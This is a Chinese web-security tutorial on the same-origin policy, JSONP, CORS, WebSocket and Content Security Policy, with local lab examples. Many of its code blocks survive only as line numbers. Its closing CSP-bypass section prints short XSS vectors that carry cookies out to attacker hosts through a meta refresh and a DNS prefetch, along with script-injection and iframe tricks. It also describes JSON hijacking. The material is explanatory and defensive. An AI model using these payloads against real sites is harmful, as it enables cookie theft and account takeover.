同源策略和域安全相关问题
同源策略
同源策略是目前所有浏览器都实行的一种安全政策,A 网页设置的 Cookie,B 网页不能打开,除非这两个网页同源,所谓同源,是指:两个网页,协议(protocol)、端口(port)、和主机(host)都相同,如果非同源,以下三种行为受到限制:
Cookie,LocalStorage,IndexDB 无法读取
LocalStorage 是 HTML5 本地存储 Web Storage 特性的 API 之一,用于将大量数据(最大 5 M)保存在浏览器中,保存后数据永远存在不会失效过期,除非用 Js 手动清除,它不参与网络传输,一般用于性能优化,可以保存图片、Js、CSS、HTML 模板、大量数据,IndexDB 也是用于储存的东西
DOM 无法获取
DOM(Document Object Model)译为文档对象模型,是 HTML 和 XML 文档的编程接口,HTML DOM 定义了访问和操作 HTML 文档的标准方法,DOM 以树结构表达 HTML 文档
AJAX 请求不能发送
AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。 AJAX 不是新的编程语言,而是一种使用现有标准的新方法。 AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容,AJAX 请求只能发给同源的网址
下表给出了与 URLhttp://store.company.com/dir/page.html
的源进行对比的示例(同源策略认为域和子域属于不同的域):
URL | 结果 | 原因 |
---|---|---|
http://store.company.com/dir2/other.html |
同源 | 只有路径不同 |
http://store.company.com/dir/inner/another.html |
同源 | 只有路径不同 |
https://store.company.com/secure.html |
失败 | 协议不同 |
http://store.company.com:81/dir/etc.html |
失败 | 端口不同 |
http://news.company.com/dir/other.html |
失败 | 主机不同 |
a.com
和child.a.com
不同源,针对这种情况,可以在两方面设置document.domain = 'a.com'
来实现同源(详见:DOM跨域的三种解决方案:document.domain、window.name、window.postMessage)
规避同源策略
主要有以下三种方法规避同源策略的限制:JSONP,WebSocket,CORS
JSONP
JSONP 就是利用
<script>
标签的跨域能力实现跨域数据的访问,请求动态生成的 Js 脚本同时带一个 Callback 函数名作为参数服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用 Callback 函数
JSONP 也存在一些安全问题,例如当对传入或传回参数没有做校验就直接执行返回的时候,会造成 XSS 问题。没有做 Referer 或 Token 校验就给出数据的时候,可能会造成数据泄露
另外 JSONP 在没有设置 Callback 函数的白名单情况下,可以合法的做一些设计之外的函数调用,引入问题。这种攻击也被称为 SOME 攻击
WebScoket
WebSocket
是一种通信协议,使用ws://
(非加密)和wss://
(加密)作为协议前,该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信,WebSocket
请求的头信息中有一个字段是Origin
,表示该请求的请求源(Origin),即发自哪个域名,正是因为有了Origin
这个字段,所以WebSocket
才没有实行同源政策,因为服务器可以根据这个字段,判断是否许可本次通信CORS
CORS 是跨域资源共享(Cross-Origin Resource Sharing)的缩写,它允许浏览器向跨源服务器,发出
XMLHttpRequest(opens new window)
请求,从而克服了 AJAX 只能同源(opens new window)使用的限制,它是W3C
标准,是跨源 AJAX 请求的根本解决方法。CORS
请求大致和Ajax
请求类似,但是在 HTTP 头信息中加上了 Origin 字段表明请求来自哪个源,如果Orgin
是许可范围之内的话,服务器返回的响应会多出Access-Control-Allow-*
的字段
JSONP 详解
JSONP
是服务器与客户端跨源通信的常用方法,JSON with Padding
,填充式JSON
或者说是参数式JSON
,JSONP
原理就是动态插入带有跨域 url
的<script>
标签,然后调用回调函数
JSONP
由两部分组成:回调函数和里面的数据。 回调函数是当响应到来时,应该在页面中调用的函数,一般是在发送过去的请求中指定,向服务器请求JSON
数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来
使用 JSONP 的实例:这里创建两个网站(使用 PHPStudy,一个为www.learnjs.com
,另一个为www.ctftest.com
),现在模拟跨域请求,www.learnjs.com
会向www.ctftest.com
发起请求,把下面的文件放到www.learnjs.com
的jsonp
目录下
index.html
:
1 |
|
jsonp.js
:
1 | ; |
在www.ctftest.com
根目录添加api.php
:
1 |
|
此时访问http://learnjs.com/jsonp/
就会发现成功进行了跨域的请求,原理如下:
依据jsonp.js
,在页面加载时,addScriptTag
函数在页面里添加元素<script type="text/javascript" src="http://ctftest.com/api.php?callback=foo"></script>
,由于历史原因<script>
标签没有跨域限制,于是成功跨域请求,而服务器收到这个请求以后,会将数据放在回调函数的参数位置返回:
1 | foo({"ip": "127.0.0.1"}); |
由于<script>
元素请求的脚本,直接作为代码运行,这时,只要浏览器定义了foo
函数,该函数就会立即调用,作为参数的JSON
数据被视为 JavaScript 对象,而不是字符串,因此避免了使用JSON.parse
的步骤,可以参考:JSONP 的工作原理是什么?,JSONP 的缺点也很明显,只能进行 GET 请求
JSONP 的劫持防范
JSON
劫持又为JSON Hijacking
,这个问题属于CSRF
攻击范畴。 当某网站通过JSONP
的方式来跨域(一般为子域)传递用户认证后的敏感信息时攻击者可以构造恶意的JSONP
调用页面,诱导被攻击者访问,来达到截取用户敏感信息的目的,一个典型的JSON Hijacking
攻击代码(wooyun
):
1 | <script> |
当被攻击者在登陆某网站的情况下访问了该网页时,那么用户的隐私数据(如用户名,邮箱等)可能被攻击者劫持,防范方法如下:
验证
JSON
文件调用的来源Referer
<script>
远程加载 JSON 文件时会发送 Referer,在网站输出 JSON 数据时判断 Referer 是不是白名单合法的,就可以进行防御随机 token
存在 reference 伪造(qq.com.evil.com)、空 reference、暴力穷举等问题(强大的PHP伪造IP头、Cookies、Reference),最有效的方式还是综合防御(判断 reference 和添加随机字串),或使用加在
url
中的 token 可以完美解决 但是只要在该网站上出现一个XSS
漏洞,那么利用这个XSS
漏洞可能让防御体系瞬间崩溃callback
函数可定义的安全问题callback 函数的名称可以自定义,而输出环境又是
js
环境,如果没有严格过滤或审查,可以引起很多其他的攻击方式,比如后台如果使用这类代码:1
2$callback = $_GET['callback'];
print($callback.(data));这样子,认为 callback 是可信的,而攻击者完全可以将
alert(/xss/)
作为 callback 参数传递进去,这种问题有两种解决方案:第一种:严格定义
Content-Type: application/json
,这样的防御机制导致了浏览器不解析恶意插入的XSS
代码,第二种:过滤 callback 以及JSON
数据输出,这样的防御机制是比较传统的攻防思维,对输出点进行xss
过滤
WebSocket 简介
WebSocket
是一种通信协议,使用ws://
(非加密)和wss://
(加密)作为协议前缀,该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信,为什么不实行同源政策?
原因是WebSocket
请求的头信息中有一个字段是Origin
,表示该请求的请求源(origin),即发自哪个域名,正是因为有了Origin
这个字段,所以WebSocket
才没有实行同源政策,因为服务器可以根据这个字段,判断是否许可本次通信
CORS 详解
CORS
是跨域资源共享(Cross-Origin Resource Sharing)的缩写,它允许浏览器向跨源服务器,发出XMLHttpRequest
请求,从而克服了 AJAX 只能同源使用的限制,它是W3C
标准,是跨源 AJAX 请求的根本解决方法
CORS
请求大致和ajax
请求类似,但是在 HTTP 头信息中加上了 Origin 字段表明请求来自哪个源,如果orgin
是许可范围之内的话,服务器返回的响应会多出Access-Control-Allow-*
的字段
简单请求
只要同时满足以下两大条件,就属于简单请求:
- 请求方法是以下三种方法之一:HEAD、GET、POST
- HTTP 的头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Last-Event-ID、Content-Type(只限于三个值
application/x-www-form-urlencoded
、multipart/form-data
、text/plain
)
浏览器发现这次跨源 AJAX 请求是简单请求,就自动在头信息之中,添加一个 Origin 字段:
1 | GET /cors HTTP/1.1 |
简单请求有三个重要的响应头:
Access-Control-Allow-Origin
该字段是必须的,它的值要么是请求时 Origin 字段的值,要么是一个
*
,表示接受任意域名的请求Access-Control-Allow-Credentials
该字段可选,它的值是一个布尔值,表示是否允许发送 Cookie,默认情况下,Cookie 不包括在
CORS
请求之中,设为 true,即表示服务器明确许可,Cookie 可以包含在请求中,一起发给服务器,这个值也只能设为 true,如果服务器不要浏览器发送 Cookie,删除该字段即可Access-Control-Expose-Headers
该字段可选,
CORS
请求时,XMLHttpRequest
对象的getResponseHeader()
方法只能拿到 6 个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma
,如果想拿到其他字段,就必须在Access-Control-Expose-Headers
里面指定,例如,getResponseHeader('wintrysec')
可以返回wintrysec
字段的值
响应字段,可请求资源范围
1 | Access-Control-Allow-Origin:* // 表示同意任意跨源请求 |
CORS 简单请求实例(同样是www.learnjs.com
和www.ctftest.com
,www.learnjs.com
会使用 ajax 向www.ctftest.com
发送一个跨域请求)www.learnjs.com
目录ajax
下的两个文件:
index.html
:
1 |
|
ajax.js
:
1 | ; |
在www.ctftest.com
根目录添加api.php
:
1 |
|
访问http://learnjs.com/ajax/
就会发现成功地进行了跨域请求,如果更改$ACAO
的值,就会请求失败,例如改为Access-Control-Allow-Origin: http://learnjava.com
,浏览器就会返回错误:
1 | Access to XMLHttpRequest at 'http://ctftest.com/api.php' from origin 'http://learnjs.com' has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a value 'http://learnjava.com' that is not equal to the supplied origin. |
非简单请求
即对服务器有特殊要求的请求,比如 PUT 方法,自定义 HTTP-HEAD 头部等,非简单请求的 CORS 请求,会在正式通信之前,增加一次 HTTP 查询请求,称为预检请求,预检请求用 OPTIONS 方法询问服务器允许的方法
预检请求的头信息包括两个特殊字段:
- **
Access-Control-Request-Method
**:该字段是必须的,用来列出浏览器的CORS
请求会用到哪些 HTTP 方法 - **
Access-Control-Request-Headers
**:指定浏览器CORS
请求会额外发送的http
头部信息字段,多个字段用逗号分隔
如果浏览器否定了预检请求,会返回一个正常的 HTTP 回应,但是没有任何CORS
相关的头信息字段响应,服务器响应的其他CORS
相关字段如下:
1 | Access-Control-Allow-Methods: GET, POST, PUT // 服务器支持的所有跨域请求的方法 |
实例,来自 AJAX:
对于 PUT、DELETE 以及其他类型如
application/json
的 POST 请求,在发送 AJAX 请求之前,浏览器会先发送一个OPTIONS
请求(称为 preflighted 请求)到这个 URL 上,询问目标服务器是否接受:
1
2
3
4 OPTIONS /path/to/resource HTTP/1.1
Host: bar.com
Origin: http://my.com
Access-Control-Request-Method: POST服务器必须响应并明确指出允许的 Method:
1
2
3
4 HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://my.com
Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS
Access-Control-Max-Age: 86400浏览器确认服务器响应的
Access-Control-Allow-Methods
头确实包含将要发送的 AJAX 请求的 Method,才会继续发送 AJAX,否则,抛出一个错误,由于以POST
、PUT
方式传送 JSON 格式的数据在 REST 中很常见,所以要跨域正确处理POST
和PUT
请求,服务器端必须正确响应OPTIONS
请求
一旦服务器通过了预检请求,以后每次浏览器正常的CORS
请求,就都跟简单请求一样,会有一个Origin
头信息字段,服务器的回应,也都会有一个Access-Control-Allow-Origin
头信息字段。Github
上的一个 POC:cors-poc
1 | python3 -m http.server --cgi |
与 JSONP 的比较
CORS
与JSONP
的使用目的相同,但是比JSONP
更强大,JSONP
只支持 GET 请求,CORS
支持所有类型的 HTTP 请求,JSONP
的优势在于支持老式浏览器,以及可以向不支持CORS
的网站请求数据
CSP 简介
所谓CSP
(Content Security Policy)即浏览器内容安全策略, 为了缓解部分跨站脚本问题,CSP
的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制,有两种方法启用CSP
:
添加 HTTP 头信息;
Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org; child-src https:
使用
<meta>
标签<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org; child-src https:">
关于SCP
的使用可以参考:内容安全策略 ( CSP ),CSP: default-src,关于CSP
各种限制选项参考:Content Security Policy (CSP) 是什么?为什么它能抵御 XSS 攻击?,CSP 的出现可以一定程度上的减少 XSS 的攻击,但不一定意味着 XSS 的消失,CSP 的实例:
同样是www.learnjs.com
和www.ctftest.com
,www.learnjs.com
的csp
目录下的index.html
文件:
1 |
|
http://ctftest.com/
根目录下的api.js
:
1 | ; |
可以发现这三个资源(iframe 标签、内联 JavaScript,跨域外联 JavaScript)都没有正常加载,因为:
Content-Security-Policy
中设置frame-src 'self'
导致非当前域名的 iframe 加载失败(设置为frame-src http://player.bilibili.com/
可避免)- 设置
script-src 'self'
,禁止了内联 Js 代码执行(设置为script-src 'unsafe-inline'
可避免或者设置nonce
) Content-Security-Policy
中设置frame-src 'self'
导致跨域外联 JavaScript 加载失败(设置为script-src http://ctftest.com/
可避免)
关于 nonce 的介绍:一段内联的 JavaScript 代码,有可能就是攻击者注入的,如果设置script-src
,是禁止内联 Js 代码执行的,可以将 script-src 设置为 ‘unsafe-inline’ 以允许内联 Js 执行
为了使内联的 Js 更加安全,可以使用 nonce 属性。在 Header 设置一个随机字符串或者散列值,当它与 script 标签的 nonce 属性相匹配时,说明这段内联的 Js 是安全的,是可以执行的,反之就说明这段 Js 是危险的就不会执行,实例如下:
同样是www.learnjs.com
和www.ctftest.com
,www.learnjs.com
的csp
目录下的index.html
文件:
1 |
|
访问http://learnjs.com/csp/
就可以发现内联的 JavaScript 执行了,如果改变 nonce 使其不一致,Js 就不会执行,浏览器也会报告错误,详见:「网络」CSP和Nonce
CSP 绕过
URL
跳转
在default-src none
(未设置的属性设置为默认值none
)的情况下,可以使用 meta 标签实现跳转
1 | <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]"> |
在允许unsafe-inline
(允许内联 Js 执行)的情况下,可以用window.location
,或者window.open
之类的方法进行跳转绕过
1 | <script> |
link
标签预加载
在 Firefox 下,可以将 Cookie 作为子域名,用dns 预解析
的方式把 Cookie 带出去,查看dns
服务器的日志就能得到 Cookie
1 | <link rel="dns-prefetch" href="//[cookie].xxx.ceye.io"> |
利用浏览器补全
有些网站限制只有某些脚本才能使用,往往会使用 script 标签的 nonce 属性,只有 nonce 一致的脚本才生效
1 | Content-Security-Policy: default-src 'none';script-src 'nonce-abc' |
那么当脚本插入点为如下的情况时
1 | <p>插入点</p> |
可以插入
1 | <script src=//14.rs a=" |
这样会拼成一个新的 script 标签,其中的src
可以自由设定
1 | <p><script src=//14.rs a="</p> |
代码重用
假设页面中使用了Jquery-mobile
库,并且CSP
策略中包含script-src 'unsafe-eval'
或者script-src 'strict-dynamic'
,那么下面的向量就可以绕过CSP
:
1 | <div data-role=popup id='<script>alert(1)</script>'></div> |
ifrmae
如果页面 A 中有CSP
限制,但是页面 B 中没有,同时 A 和 B 同源,那么就可以在 A 页面中包含 B 页面来绕过CSP
:
1 | <iframe src="B"></iframe> |
在 Chrome 下,iframe
标签支持csp
属性,这有时候可以用来绕过一些防御,例如http://xxx
页面有个js
库会过滤XSS
向量,我们就可以使用csp
属性来禁掉这个js
库
1 | <iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe> |
meta
标签
meta 标签有一些不常用的功能有时候有奇效:meta 可以控制缓存(在 header 没有设置的情况下),有时候可以用来绕过CSP nonce
1 | <meta http-equiv="cache-control" content="public"> |
meta 可以设置 Cookie(Firefox 下),可以结合 self-xss 利用
1 | <meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/"> |
本文参考链接